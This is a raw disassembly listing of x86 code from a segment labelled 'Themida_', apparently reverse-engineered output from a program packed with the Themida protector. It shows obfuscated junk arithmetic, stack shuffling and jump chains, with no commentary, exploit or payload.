loc_59703D:				; CODE XREF: Themida_:005A04CDj
		mov	esi, 6CD72C62h
		push	ebx
		jmp	loc_5A3F55
; ---------------------------------------------------------------------------


loc_597048:				; CODE XREF: Themida_:005959E8j
		mov	[esp], esp
		push	208Eh
		mov	[esp], edx
		mov	edx, 12C92EFAh
		sub	edx, 2906578Ch
		shr	edx, 1
		neg	edx
		add	edx, 74E16BBBh
		add	[esp+4], edx
		pop	edx
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_59483A
; ---------------------------------------------------------------------------


loc_59707C:				; CODE XREF: Themida_:0059B429j
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 0A397F2Ah
		mov	ecx, 1C91B365h
		sub	ecx, ebp
		pop	ebp
		add	eax, ecx
		pop	ecx
		push	5FD4h
		mov	[esp], ebp
		push	esi
		jmp	loc_59F7D9
; ---------------------------------------------------------------------------


loc_5970A4:				; CODE XREF: Themida_:005A4C44j
		mov	ecx, 2
		jmp	loc_594293
; ---------------------------------------------------------------------------


loc_5970AE:				; CODE XREF: Themida_:0059E0DFj
		not	edi
		neg	edi
		xor	edi, 0D11601A1h
		jmp	loc_5A2269
; ---------------------------------------------------------------------------


loc_5970BD:				; CODE XREF: Themida_:00590AB7j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A1BDC
; ---------------------------------------------------------------------------


loc_5970CF:				; CODE XREF: Themida_:0059DCC0j
		push	esp
		jmp	loc_5A4DA5
; ---------------------------------------------------------------------------


loc_5970D5:				; CODE XREF: Themida_:005974FEj
		sub	ebx, 0BA68D0E6h
		mov	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 25156F94h
		sub	eax, 1CFF204Ah
		add	ecx, eax
		pop	eax
		add	ecx, 0BD66EA57h
		sub	ebx, 37DC00B0h
		jmp	loc_598C94
; ---------------------------------------------------------------------------


loc_5970FD:				; CODE XREF: Themida_:00593E08j
		pop	ecx
		jmp	loc_5A311B
; ---------------------------------------------------------------------------


loc_597103:				; CODE XREF: Themida_:0059ACFCj
		and	ecx, ebx
		pop	ebx
		jmp	loc_5A079A
; ---------------------------------------------------------------------------


loc_59710B:				; CODE XREF: Themida_:0059350Cj
		pop	eax
		push	ebx
		push	eax
		push	edx
		mov	edx, 32C9171Fh
		inc	edx
		add	edx, 1ACA7961h
		jmp	loc_5A2C81
; ---------------------------------------------------------------------------


loc_597120:				; CODE XREF: Themida_:005A4B88j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esi, 4
		push	ebp
		mov	ebp, 2
		sub	esi, 369B7936h
		add	esi, ebp
		add	esi, 369B7936h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5998FE
; ---------------------------------------------------------------------------


loc_597154:				; CODE XREF: Themida_:0059FDC1j
		mov	[esp], edx
		mov	edx, 6B7347DBh
		push	esi
		mov	esi, 0CCC3DA2h
		not	esi
		push	edx
		mov	edx, 0CD8D56B4h
		sub	esi, edx
		jmp	loc_5A0A81
; ---------------------------------------------------------------------------


loc_597171:				; CODE XREF: Themida_:00591891j
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_5965BF
; ---------------------------------------------------------------------------


loc_597192:				; CODE XREF: Themida_:005A2C2Bj
		mov	ecx, 4E256C38h
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		add	edx, 4E256C38h
		pop	ebp
		xor	edx, [esp]
		jmp	loc_5A0489
; ---------------------------------------------------------------------------


loc_5971AB:				; CODE XREF: Themida_:005A1B64j
		pop	eax
		xor	dl, 35h
		jmp	loc_597581
; ---------------------------------------------------------------------------


loc_5971B4:				; CODE XREF: Themida_:005A1004j
		mov	edx, edi
		pop	edi
		jmp	loc_5A3895
; ---------------------------------------------------------------------------


loc_5971BC:				; CODE XREF: Themida_:00590B82j
		not	eax
		sub	eax, 26834A0Eh
		shl	eax, 4
		xor	eax, 641F5602h
		mov	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		push	edx
		push	ecx
		jmp	loc_5977BF
; ---------------------------------------------------------------------------


loc_5971D8:				; CODE XREF: Themida_:0059E316j
		push	0
		sub	[esp], ebx
		pop	ebx
		jmp	loc_598EE3
; ---------------------------------------------------------------------------


loc_5971E6:				; CODE XREF: Themida_:005A12D0j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_597D39
; ---------------------------------------------------------------------------


loc_5971EF:				; CODE XREF: Themida_:0059AA36j
		shl	ecx, 1
		sub	ecx, 3337612Eh
		or	esi, ecx
		pop	ecx
		shr	esi, 2
		dec	esi
		push	ecx
		push	eax
		push	edx
		push	63C278F0h
		jmp	loc_59CD82
; ---------------------------------------------------------------------------


loc_59720B:				; CODE XREF: Themida_:005A2B91j
		pop	esp
		mov	[esp], bx
		push	edx
		mov	dx, 0ADA3h
		push	edi
		jmp	loc_59CCC7
; ---------------------------------------------------------------------------


loc_59721B:				; CODE XREF: Themida_:005A1539j
		neg	dl
		neg	dl
		jmp	loc_593044
; ---------------------------------------------------------------------------


loc_597224:				; CODE XREF: Themida_:00594F68j
		push	75A2h
		mov	[esp], ebx
		push	esi
		jmp	loc_5A2841
; ---------------------------------------------------------------------------


loc_597232:				; CODE XREF: Themida_:0059C8ABj
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_591968
; ---------------------------------------------------------------------------


loc_597253:				; CODE XREF: Themida_:005A3CA6j
		mov	ebx, [esp]
		jmp	loc_5A513E
; ---------------------------------------------------------------------------


loc_59725B:				; CODE XREF: Themida_:0059F5A9j
		pop	esp
		xor	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_591D1E
; ---------------------------------------------------------------------------


loc_597269:				; CODE XREF: Themida_:0059953Ej
		mov	ecx, [ebx]
		pop	ebx
		sub	esp, 4
		jmp	loc_59A3D0
; ---------------------------------------------------------------------------


loc_597277:				; CODE XREF: Themida_:005A0A34j
		mov	ecx, [esp]
		jmp	loc_59DF96
; ---------------------------------------------------------------------------


loc_59727F:				; CODE XREF: Themida_:00592D0Fj
		push	ecx
		pop	edx
		pop	ecx
		add	edx, 7A7D3C90h
		not	edx
		not	edx
		add	edx, 782FE396h
		sub	esi, edx
		pop	edx
		add	esi, 63C03F27h
		add	esi, eax
		push	eax
		push	ebp
		jmp	loc_59614F
; ---------------------------------------------------------------------------


loc_5972A4:				; CODE XREF: Themida_:0059C488j
		mov	eax, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A0C1A
; ---------------------------------------------------------------------------


loc_5972B7:				; CODE XREF: Themida_:005A3994j
		push	6981h
		mov	[esp], edi
		push	ebp
		mov	ebp, 0F9DACE9Eh
		jmp	loc_590789
; ---------------------------------------------------------------------------


loc_5972CA:				; CODE XREF: Themida_:0059C1D2j
		push	edx
		push	eax
		mov	eax, 50473A0Fh
		xor	[esp+4], eax
		pop	eax
		jmp	loc_5A3CAB
; ---------------------------------------------------------------------------


loc_5972DB:				; CODE XREF: Themida_:005A4A06j
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_596A02
; ---------------------------------------------------------------------------


loc_5972E4:				; CODE XREF: Themida_:005A1FA5j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5944CE
; ---------------------------------------------------------------------------


loc_5972EF:				; CODE XREF: Themida_:0059B2DCj
		pop	esp
		mov	[esp], ecx
		push	ebx
		jmp	loc_5A318A
; ---------------------------------------------------------------------------


loc_5972F9:				; CODE XREF: Themida_:005913E5j
		div	cx
		push	4223h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_59304F
; ---------------------------------------------------------------------------


loc_597312:				; CODE XREF: Themida_:0059B7F5j
		pop	esp
		jmp	loc_594F52
; ---------------------------------------------------------------------------


loc_597318:				; CODE XREF: Themida_:0059A27Aj
		mov	ebx, 797D4BC8h
		jmp	loc_59508A
; ---------------------------------------------------------------------------


loc_597322:				; CODE XREF: Themida_:005A460Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598471
; ---------------------------------------------------------------------------


loc_59732D:				; CODE XREF: Themida_:00592D2Ej
		add	edx, ebp
		pop	ebp
		jmp	loc_590ADF
; ---------------------------------------------------------------------------


loc_597335:				; CODE XREF: Themida_:005960CCj
		pop	ebp
		jmp	loc_5A1927
; ---------------------------------------------------------------------------


loc_59733B:				; CODE XREF: Themida_:005A4FADj
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5A418C
; ---------------------------------------------------------------------------


loc_59734E:				; CODE XREF: Themida_:0059DB41j
		mov	ebp, 176755C0h
		mov	edx, ebp
		jmp	loc_595EDF
; ---------------------------------------------------------------------------


loc_59735A:				; CODE XREF: Themida_:005902CEj
		mov	al, 1Bh
		jmp	loc_590B50
; ---------------------------------------------------------------------------


loc_597361:				; CODE XREF: Themida_:0059641Fj
		dec	edi
		xchg	ecx, edi
		not	ecx
		push	edi
		push	ecx
		pop	edi
		pop	ecx
		inc	edi
		jmp	loc_59BF7A
; ---------------------------------------------------------------------------


loc_597370:				; CODE XREF: Themida_:00597D9Aj
		and	edx, 71B37B55h
		add	edx, 1
		push	esi
		jmp	loc_5916F0
; ---------------------------------------------------------------------------


loc_597382:				; CODE XREF: Themida_:0059D41Fj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_5A322E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_59943E
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_593C38
; ---------------------------------------------------------------------------


loc_59739F:				; CODE XREF: Themida_:0059182Aj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	1F8Bh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_59B29F
; ---------------------------------------------------------------------------


loc_5973B7:				; CODE XREF: Themida_:0059E84Cj
		mov	edx, 56E4363Fh
		not	edx
		dec	edx
		not	edx
		add	edx, 0C4870807h
		xor	ecx, edx
		pop	edx
		xor	ecx, 19757758h
		mov	ebp, ecx
		jmp	loc_5A5461
; ---------------------------------------------------------------------------


loc_5973D7:				; CODE XREF: Themida_:0059672Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A433C
; ---------------------------------------------------------------------------


loc_5973E5:				; CODE XREF: Themida_:00597DA7j
		sub	ebp, 4423534Bh
		add	ebp, edx
		add	ebp, 4423534Bh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_593109
; ---------------------------------------------------------------------------


loc_597402:				; CODE XREF: Themida_:005949C5j
		add	esp, 4
		jmp	loc_590439
; ---------------------------------------------------------------------------


loc_59740A:				; CODE XREF: Themida_:005A12C8j
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		push	esi
		jmp	loc_59AFA8
; ---------------------------------------------------------------------------


loc_59741A:				; CODE XREF: Themida_:0059FAD3j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_594546
; ---------------------------------------------------------------------------


loc_597425:				; CODE XREF: Themida_:0059B545j
		sub	ebx, 3AD48C19h
		sub	ebx, 1
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_596549
; ---------------------------------------------------------------------------


loc_597439:				; CODE XREF: Themida_:00595F1Fj
		add	esp, 4
		jmp	loc_5997B1
; ---------------------------------------------------------------------------


loc_597441:				; CODE XREF: Themida_:005A4C61j
		inc	ebx
		jmp	loc_59FF19
; ---------------------------------------------------------------------------


loc_597447:				; CODE XREF: Themida_:005A5346j
		pop	eax
		push	ebx
		jmp	loc_5A4C18
; ---------------------------------------------------------------------------


loc_59744E:				; CODE XREF: Themida_:005A39CDj
		pop	ebx
		add	ebx, 66982126h
		pop	edi
		pop	ebp
		jmp	loc_594719
; ---------------------------------------------------------------------------


loc_59745C:				; CODE XREF: Themida_:005A50A4j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59B648
; ---------------------------------------------------------------------------


loc_59746D:				; CODE XREF: Themida_:005A1C1Fj
		pop	edi
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 42F654Ah
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 690814AEh
		shr	esi, 1
		push	ebp
		mov	ebp, 2874203Eh
		add	ebp, 2B71059Dh
		and	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 7A2517F6h
		jmp	loc_5968F6
; ---------------------------------------------------------------------------


loc_5974B5:				; CODE XREF: Themida_:0059BC2Bj
		push	ebp
		mov	ebp, 68271C52h
		jmp	loc_59C9F2
; ---------------------------------------------------------------------------


loc_5974C0:				; CODE XREF: Themida_:00599A34j
		sub	ebx, eax
		add	ebx, 34011EC1h
		pop	eax
		or	eax, ebx
		pop	ebx
		neg	eax
		jmp	loc_5A2227
; ---------------------------------------------------------------------------


loc_5974D3:				; CODE XREF: Themida_:005A2180j
		pop	eax
		push	eax
		jmp	loc_5A462D
; ---------------------------------------------------------------------------


loc_5974DA:				; CODE XREF: Themida_:0059A730j
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 6FB87EC2h
		jmp	loc_597784
; ---------------------------------------------------------------------------


loc_5974FB:				; CODE XREF: Themida_:005903F8j
		and	ebx, edi
		pop	edi
		jmp	loc_5970D5
; ---------------------------------------------------------------------------


loc_597503:				; CODE XREF: Themida_:00592336j
		push	1E87h
		mov	[esp], ebx
		jmp	loc_5A372F
; ---------------------------------------------------------------------------


loc_597510:				; CODE XREF: Themida_:00599E1Aj
		mov	ecx, [esp]
		add	esp, 4
		and	dl, 89h
		not	dl
		dec	dl
		push	ebx
		mov	bh, 0E2h
		dec	bh
		sub	bh, 4Fh
		shr	bh, 1
		add	bh, 86h
		or	bh, 1Eh
		xor	bh, 0B5h
		jmp	loc_594B3C
; ---------------------------------------------------------------------------


loc_597535:				; CODE XREF: Themida_:00593B89j
		pop	esi
		add	ebp, edx
		jmp	loc_598F7B
; ---------------------------------------------------------------------------


loc_59753D:				; CODE XREF: Themida_:005A34A4j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 46AB66A2h
		push	5FA5h
		jmp	loc_59CB72
; ---------------------------------------------------------------------------


loc_597550:				; CODE XREF: Themida_:0059CDB9j
		push	ebx
		push	ecx
		jmp	loc_59271C
; ---------------------------------------------------------------------------


loc_597557:				; CODE XREF: Themida_:0059B9EBj
		sub	bl, cl
		jmp	loc_59BFB2
; ---------------------------------------------------------------------------


loc_59755E:				; CODE XREF: Themida_:005922A1j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_594532
; ---------------------------------------------------------------------------


loc_59756A:				; CODE XREF: Themida_:00590AEBj
		mov	esp, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59F043
; ---------------------------------------------------------------------------


loc_597581:				; CODE XREF: Themida_:005971AFj
		add	al, 0ABh
		add	al, dl
		push	59CDh
		mov	[esp], ecx
		mov	ch, 0AFh
		shl	ch, 1
		shr	ch, 8
		push	eax
		mov	ah, 3Fh
		or	ah, 3Fh
		xor	ah, 0DEh
		sub	ch, ah
		jmp	loc_59ADAA
; ---------------------------------------------------------------------------


loc_5975A4:				; CODE XREF: Themida_:0059C6D8j
		push	eax
		jmp	loc_5A5659
; ---------------------------------------------------------------------------


loc_5975AA:				; CODE XREF: Themida_:0059CA2Ej
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_5A1501
; ---------------------------------------------------------------------------


loc_5975BA:				; CODE XREF: Themida_:0059E7EBj
		sub	[esp+4], dx
		pop	dx
		mov	si, [esp]
		jmp	loc_5980B7
; ---------------------------------------------------------------------------


loc_5975CA:				; CODE XREF: Themida_:00596EB7j
		not	edi
		sub	edi, 0ED80F324h
		sub	ebp, 14ED08B6h
		sub	ebp, edi
		jmp	loc_59556E
; ---------------------------------------------------------------------------


loc_5975DF:				; CODE XREF: Themida_:0059FED0j
		or	bh, dl
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 7CBC7FF3h
		add	ebx, 83438011h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A4DE0
; ---------------------------------------------------------------------------


loc_59760C:				; CODE XREF: Themida_:0059AED3j
		add	eax, ebp
		push	edi
		mov	edi, 485E6808h
		sub	eax, edi
		jmp	loc_5955F4
; ---------------------------------------------------------------------------


loc_59761B:				; CODE XREF: Themida_:0059A13Bj
		mov	bh, 72h
		sub	bh, al
		pop	eax
		xor	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_593814
; ---------------------------------------------------------------------------


loc_597630:				; CODE XREF: Themida_:0059FF89j
		push	edx
		mov	edx, 4E561DF0h
		xor	edi, edx
		jmp	loc_59D02B
; ---------------------------------------------------------------------------


loc_59763D:				; CODE XREF: Themida_:005930A6j
		push	eax
		push	0BFCh
		jmp	loc_592343
; ---------------------------------------------------------------------------


loc_597648:				; CODE XREF: Themida_:0059138Aj
		mov	ebx, esp
		jmp	loc_59779F
; ---------------------------------------------------------------------------


loc_59764F:				; CODE XREF: Themida_:0059D9F9j
		xor	al, bl
		push	small 6B88h
		jmp	loc_596727
; ---------------------------------------------------------------------------


loc_59765A:				; CODE XREF: Themida_:00595C56j
		add	ecx, eax
		pop	eax
		push	3B0Ch
		jmp	loc_5A1A92
; ---------------------------------------------------------------------------


loc_597667:				; CODE XREF: Themida_:005A3853j
		xor	ebp, 53027A95h
		push	ebp
		pop	edi
		pop	ebp
		add	edi, 788C17E4h
		push	edi
		not	dword ptr [esp]
		pop	edi
		neg	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 216D09C7h
		and	edi, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59EE54
; ---------------------------------------------------------------------------


loc_597698:				; CODE XREF: Themida_:005A40D4j
		sub	cl, 69h
		pop	eax
		jmp	loc_59B100
; ---------------------------------------------------------------------------


loc_5976A1:				; CODE XREF: Themida_:00595AE3j
		xor	eax, edi
		pop	edi
		sub	esi, 24EE463Bh
		add	esi, eax
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 1446580Bh
		mov	ebp, 10A7EE30h
		sub	ebp, 1C525613h
		add	ebp, ecx
		add	ebp, 1C525613h
		pop	ecx
		jmp	loc_5A2BC3
; ---------------------------------------------------------------------------


loc_5976D4:				; CODE XREF: Themida_:0059E540j
		add	ecx, 0C0FAEA5Ch
		sub	ebp, ecx
		pop	ecx
		pop	esi
		push	ebx
		push	ebp
		push	ecx
		push	edx
		jmp	loc_5A1D16
; ---------------------------------------------------------------------------


loc_5976E7:				; CODE XREF: Themida_:0059791Aj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	581Bh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_59E76A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6803h
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		push	5579h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_596717
; ---------------------------------------------------------------------------


loc_59773A:				; CODE XREF: Themida_:00599018j
		add	esp, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A3828
; ---------------------------------------------------------------------------


loc_597765:				; CODE XREF: Themida_:005A5589j
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 449047A4h
		push	4DB3h
		mov	[esp], ebp
		jmp	loc_59D515
; ---------------------------------------------------------------------------


loc_597784:				; CODE XREF: Themida_:005974F6j
		dec	ecx
		dec	ecx
		jmp	loc_59B403
; ---------------------------------------------------------------------------


loc_59778B:				; CODE XREF: Themida_:00596594j
		not	ecx
		inc	ecx
		or	ecx, 34F266A8h
		add	ecx, 236E860Ah
		jmp	loc_59EEF1
; ---------------------------------------------------------------------------


loc_59779F:				; CODE XREF: Themida_:0059764Aj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59C91E
; ---------------------------------------------------------------------------


loc_5977AD:				; CODE XREF: Themida_:005A2F9Dj
		mov	[esp], ecx
		mov	ecx, 3F8D7C71h
		mov	esi, 0F928C704h
		jmp	loc_593821
; ---------------------------------------------------------------------------


loc_5977BF:				; CODE XREF: Themida_:005971D3j
		push	0F1A17EAh
		pop	ecx
		jmp	loc_594AEE
; ---------------------------------------------------------------------------


loc_5977CA:				; CODE XREF: Themida_:0059B83Cj
		mov	eax, 238D1BC8h
		not	eax
		shr	eax, 7
		push	ebp
		mov	ebp, 6FAF1ACFh
		push	ecx
		mov	ecx, 419467EFh
		add	ebp, ecx
		pop	ecx
		jmp	loc_599C34
; ---------------------------------------------------------------------------


loc_5977E8:				; CODE XREF: Themida_:0059F938j
		mov	si, 2
		add	word ptr [esp+2], 2A4Ah
		add	[esp+2], si
		push	dx
		jmp	loc_59E7E7
; ---------------------------------------------------------------------------


loc_5977FF:				; CODE XREF: Themida_:0059E158j
		add	edi, ebx
		pop	ebx
		push	1191h
		mov	[esp], ebx
		mov	ebx, 4
		push	edx
		jmp	loc_5A13F6
; ---------------------------------------------------------------------------


loc_597815:				; CODE XREF: Themida_:005A064Fj
		sub	eax, 3C0B0F10h
		push	ebx
		mov	ebx, 4689791Ch
		or	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5A310E
; ---------------------------------------------------------------------------


loc_59782B:				; CODE XREF: Themida_:00598138j
		push	75A0h
		mov	[esp], eax
		mov	eax, 138F5A22h
		xor	ebx, eax
		pop	eax
		dec	ebx
		neg	ebx
		sub	ebx, 172C7453h
		sub	ebx, 607E0ECEh
		sub	ebx, 17554E03h
		add	esi, 1B72031Bh
		add	esi, ebx
		sub	esi, 1B72031Bh
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 28F57502h
		push	edx
		sub	dword ptr [esp], 17A504B3h
		pop	esi
		jmp	loc_59DBDD
; ---------------------------------------------------------------------------


loc_597885:				; CODE XREF: Themida_:00597C03j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		pop	eax
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	2B64h
		mov	[esp], ebp
		jmp	loc_59F007
; ---------------------------------------------------------------------------


loc_5978A9:				; CODE XREF: Themida_:00595D45j
		mov	bl, al
		pop	eax
		mov	cl, bl
		jmp	loc_590EEB
; ---------------------------------------------------------------------------


loc_5978B3:				; CODE XREF: Themida_:0059B289j
		add	ebx, 46954D17h
		sub	ebx, 425D7224h
		jmp	loc_5923AC
; ---------------------------------------------------------------------------


loc_5978C4:				; CODE XREF: Themida_:0059DFC4j
		sub	ecx, 0B8CC2130h
		add	ebx, ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		shr	eax, 8
		xor	eax, ecx
		push	7EF0h
		mov	[esp], eax
		xchg	ecx, [esp]
		jmp	loc_59B2E1
; ---------------------------------------------------------------------------


loc_5978EB:				; CODE XREF: Themida_:005A4078j
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_590E45
; ---------------------------------------------------------------------------


loc_5978F6:				; CODE XREF: Themida_:0059B757j
		shr	eax, 7
		push	ebx
		mov	ebx, 2DAD9924h
		jmp	loc_59CFCA
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5976E7
; ---------------------------------------------------------------------------


loc_59791F:				; CODE XREF: Themida_:00593DBFj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5964F1
; ---------------------------------------------------------------------------


loc_59792D:				; CODE XREF: Themida_:0059CB35j
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		xor	al, bh
		jmp	loc_596C61
; ---------------------------------------------------------------------------


loc_597939:				; CODE XREF: Themida_:00599528j
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59A278
; ---------------------------------------------------------------------------


loc_597949:				; CODE XREF: Themida_:00598500j
		push	ebx
		push	ebp
		mov	ebp, 5FB9503Dh
		dec	ebp
		dec	ebp
		add	ebp, 0A046AFC7h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_592F35
; ---------------------------------------------------------------------------


loc_597960:				; CODE XREF: Themida_:0059D7D5j
		mov	ebx, [esp]
		add	esp, 4
		sub	al, bl
		sub	al, 5Ah
		push	74E1h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_59A516
; ---------------------------------------------------------------------------


loc_59798C:				; CODE XREF: Themida_:00599D7Cj
		xor	edx, edi
		pop	edi
		jmp	loc_599D2D
; ---------------------------------------------------------------------------


loc_597994:				; CODE XREF: Themida_:00598C58j
		push	7120h
		mov	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A4E08
; ---------------------------------------------------------------------------


loc_5979AA:				; CODE XREF: Themida_:005A00B3j
		add	esp, 4
		push	eax
		push	ecx
		jmp	loc_5A10D7
; ---------------------------------------------------------------------------


loc_5979B4:				; CODE XREF: Themida_:005923B5j
		push	0
		sub	[esp], ebx
		pop	ebx
		xor	ebx, 35DA6022h
		push	eax
		jmp	loc_59B481
; ---------------------------------------------------------------------------


loc_5979C9:				; CODE XREF: Themida_:0059FC68j
		not	bl
		mov	ch, bl
		mov	bx, [esp]
		add	esp, 2
		push	eax
		push	edx
		jmp	loc_59BA21
; ---------------------------------------------------------------------------


loc_5979DB:				; CODE XREF: Themida_:005A32A0j
		pop	esp
		push	small 7E97h
		mov	[esp], dx
		push	eax
		mov	al, 0A0h
		mov	dl, al
		pop	eax
		sub	al, 2Ch
		jmp	loc_59194C
; ---------------------------------------------------------------------------


loc_5979F1:				; CODE XREF: Themida_:005A44F2j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5979F6:				; CODE XREF: Themida_:0059970Dj
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		push	eax
		push	3E88h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_59125B
; ---------------------------------------------------------------------------


loc_597A18:				; CODE XREF: Themida_:00591DFDj
		push	1A45CFEh
		pop	esi
		sub	esi, 1A45CFAh
		jmp	loc_5A1772
; ---------------------------------------------------------------------------


loc_597A29:				; CODE XREF: Themida_:0059F6FAj
		mov	ecx, 2E8E5790h
		or	ecx, 57871965h
		dec	ecx
		not	ecx
		jmp	loc_598286
; ---------------------------------------------------------------------------


loc_597A3C:				; CODE XREF: Themida_:00593B01j
		push	eax
		mov	eax, 2
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_597A5A:				; CODE XREF: Themida_:00591613j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_598512
; ---------------------------------------------------------------------------


loc_597A6D:				; CODE XREF: Themida_:0059A993j
		mov	[esp], eax
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A1933
; ---------------------------------------------------------------------------


loc_597A8A:				; CODE XREF: Themida_:0059DC9Cj
		add	ebp, 25FC25B0h
		add	ebp, 7BF47963h
		push	eax
		jmp	loc_5A0A71
; ---------------------------------------------------------------------------


loc_597A9C:				; CODE XREF: Themida_:0059806Ej
		mov	edx, 0E85A0AE9h
		jmp	loc_5A2A66
; ---------------------------------------------------------------------------


loc_597AA6:				; CODE XREF: Themida_:00598DFEj
		add	al, dh
		pop	edx
		add	al, bl
		push	ebx
		mov	bh, 0F6h
		and	bh, 0ABh
		not	bh
		add	bh, 4Ah
		sub	al, bh
		pop	ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59AA93
; ---------------------------------------------------------------------------


loc_597AC2:				; CODE XREF: Themida_:0059A11Aj
		mov	ebx, 446E7790h
		push	esi
		mov	esi, 376A65AFh
		sub	esi, 2176264h
		neg	esi
		inc	esi
		shl	esi, 4
		xor	esi, 946FA781h
		add	eax, esi
		pop	esi
		add	eax, ebx
		sub	eax, 3EA06CE1h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_595AEF
; ---------------------------------------------------------------------------


